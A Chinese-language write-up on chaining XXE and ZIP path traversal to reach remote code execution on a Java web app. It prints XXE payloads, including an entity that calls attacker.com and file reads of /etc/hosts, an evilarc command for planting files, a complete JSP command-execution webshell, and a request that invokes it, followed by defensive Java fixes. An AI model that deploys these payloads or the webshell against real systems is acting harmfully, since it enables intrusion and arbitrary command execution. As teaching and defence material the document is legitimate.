挖洞经验 | 利用XML和ZIP格式解析漏洞实现RCE
字数 1120 2025-08-15 21:30:31

XML与ZIP格式解析漏洞实现RCE教学文档

1. 漏洞背景

本教学文档详细分析如何利用XML外部实体注入(XXE)和ZIP目录遍历漏洞组合实现远程代码执行(RCE)。这两种漏洞常出现在处理特定文件格式的Web应用中,特别是使用默认配置的Java应用程序。

2. 目标应用分析

目标Web应用处理一种特殊的.xyz文件格式,这种文件实际上是:

  • 包含XML清单文件和其他多媒体内容的ZIP压缩包
  • 类似于.docx或.apk文件的打包结构
  • XML文件作为清单描述包内内容

3. XML外部实体注入(XXE)漏洞

3.1 XXE原理

XML支持外部实体(external entity),允许从本地或远程源加载文件。当XML解析器配置不当,允许用户自定义外部实体时,攻击者可以:

  • 读取服务器本地文件
  • 执行服务器端请求伪造(SSRF)
  • 进行端口扫描
  • 导致拒绝服务

3.2 XXE测试方法

  1. 基本测试:尝试引入远程外部实体
<?xml version="1.0"?>
<!DOCTYPE title [<!ENTITY xxe SYSTEM 'https://attacker.com'>]>
<packageinfo>
    <title>Test &xxe;</title>
</packageinfo>
  1. 本地文件读取:如果远程实体被拦截,尝试读取本地文件
<?xml version="1.0"?>
<!DOCTYPE title [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]>
<packageinfo>
    <title>Test &xxe;</title>
</packageinfo>
  1. 目录枚举:通过file协议读取目录内容
<!ENTITY xxe SYSTEM 'file:///nameofdirectory'>

4. ZIP目录遍历漏洞

4.1 漏洞原理

ZIP格式允许在文件名中包含路径遍历字符(如../),当解压时:

  • 恶意文件可能被写入系统任意位置
  • 可覆盖关键系统文件
  • 可植入Webshell实现RCE

4.2 利用工具

使用evilarc工具生成包含目录遍历的ZIP文件:

python evilarc.py -o unix -d 5 -p /home/web/resources/templates/ evilfile.jsp

4.3 关键步骤

  1. 通过XXE漏洞探测目标系统目录结构
  2. 确定可写且有执行权限的目录
  3. 构造包含Webshell的恶意ZIP文件

5. 组合利用实现RCE

5.1 Webshell构造

示例JSP Webshell:

<%@ page import="java.util.*,java.io.*"%>
<% 
    if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr);
            disr = dis.readLine();
        }
        out.println("<BR>");
    }
%>

5.2 攻击流程

  1. 构造包含Webshell的ZIP文件,使用目录遍历将其解压到目标位置
  2. 上传恶意.xyz文件
  3. 访问植入的Webshell执行命令
https://target.com/sitemap?cmd=ls

5.3 注意事项

  • 目标服务器可能有缓存,需要多次刷新才能看到效果
  • 可能需要尝试不同目录找到可写位置
  • 命令执行结果可能需要等待一段时间才会显示

6. 防御措施

6.1 防止XXE

  • 禁用外部实体处理
  • 使用安全的XML解析器配置
  • 实施输入过滤和验证

Java示例(禁用XXE):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

6.2 防止ZIP目录遍历

  • 解压前验证文件名,过滤包含../的路径
  • 使用安全的解压库
  • 将文件解压到安全隔离的临时目录
  • 设置适当的文件权限

Java示例(安全解压):

String canonicalDestinationPath = destFile.getCanonicalPath();
if (!canonicalDestinationPath.startsWith(canonicalDestinationDirPath)) {
    throw new Exception("Entry is outside of the target dir");
}

7. 总结

本教学展示了如何组合利用XXE和ZIP目录遍历漏洞实现RCE。关键在于:

  1. 通过XXE探测系统信息
  2. 利用ZIP目录遍历植入Webshell
  3. 通过Webshell执行任意命令

开发人员应特别注意XML和ZIP处理的默认配置安全性,避免此类漏洞的发生。

XML与ZIP格式解析漏洞实现RCE教学文档 1. 漏洞背景 本教学文档详细分析如何利用XML外部实体注入(XXE)和ZIP目录遍历漏洞组合实现远程代码执行(RCE)。这两种漏洞常出现在处理特定文件格式的Web应用中,特别是使用默认配置的Java应用程序。 2. 目标应用分析 目标Web应用处理一种特殊的.xyz文件格式,这种文件实际上是: 包含XML清单文件和其他多媒体内容的ZIP压缩包 类似于.docx或.apk文件的打包结构 XML文件作为清单描述包内内容 3. XML外部实体注入(XXE)漏洞 3.1 XXE原理 XML支持外部实体(external entity),允许从本地或远程源加载文件。当XML解析器配置不当,允许用户自定义外部实体时,攻击者可以: 读取服务器本地文件 执行服务器端请求伪造(SSRF) 进行端口扫描 导致拒绝服务 3.2 XXE测试方法 基本测试 :尝试引入远程外部实体 本地文件读取 :如果远程实体被拦截,尝试读取本地文件 目录枚举 :通过file协议读取目录内容 4. ZIP目录遍历漏洞 4.1 漏洞原理 ZIP格式允许在文件名中包含路径遍历字符(如../),当解压时: 恶意文件可能被写入系统任意位置 可覆盖关键系统文件 可植入Webshell实现RCE 4.2 利用工具 使用 evilarc 工具生成包含目录遍历的ZIP文件: 4.3 关键步骤 通过XXE漏洞探测目标系统目录结构 确定可写且有执行权限的目录 构造包含Webshell的恶意ZIP文件 5. 组合利用实现RCE 5.1 Webshell构造 示例JSP Webshell: 5.2 攻击流程 构造包含Webshell的ZIP文件,使用目录遍历将其解压到目标位置 上传恶意.xyz文件 访问植入的Webshell执行命令 5.3 注意事项 目标服务器可能有缓存,需要多次刷新才能看到效果 可能需要尝试不同目录找到可写位置 命令执行结果可能需要等待一段时间才会显示 6. 防御措施 6.1 防止XXE 禁用外部实体处理 使用安全的XML解析器配置 实施输入过滤和验证 Java示例(禁用XXE): 6.2 防止ZIP目录遍历 解压前验证文件名,过滤包含../的路径 使用安全的解压库 将文件解压到安全隔离的临时目录 设置适当的文件权限 Java示例(安全解压): 7. 总结 本教学展示了如何组合利用XXE和ZIP目录遍历漏洞实现RCE。关键在于: 通过XXE探测系统信息 利用ZIP目录遍历植入Webshell 通过Webshell执行任意命令 开发人员应特别注意XML和ZIP处理的默认配置安全性,避免此类漏洞的发生。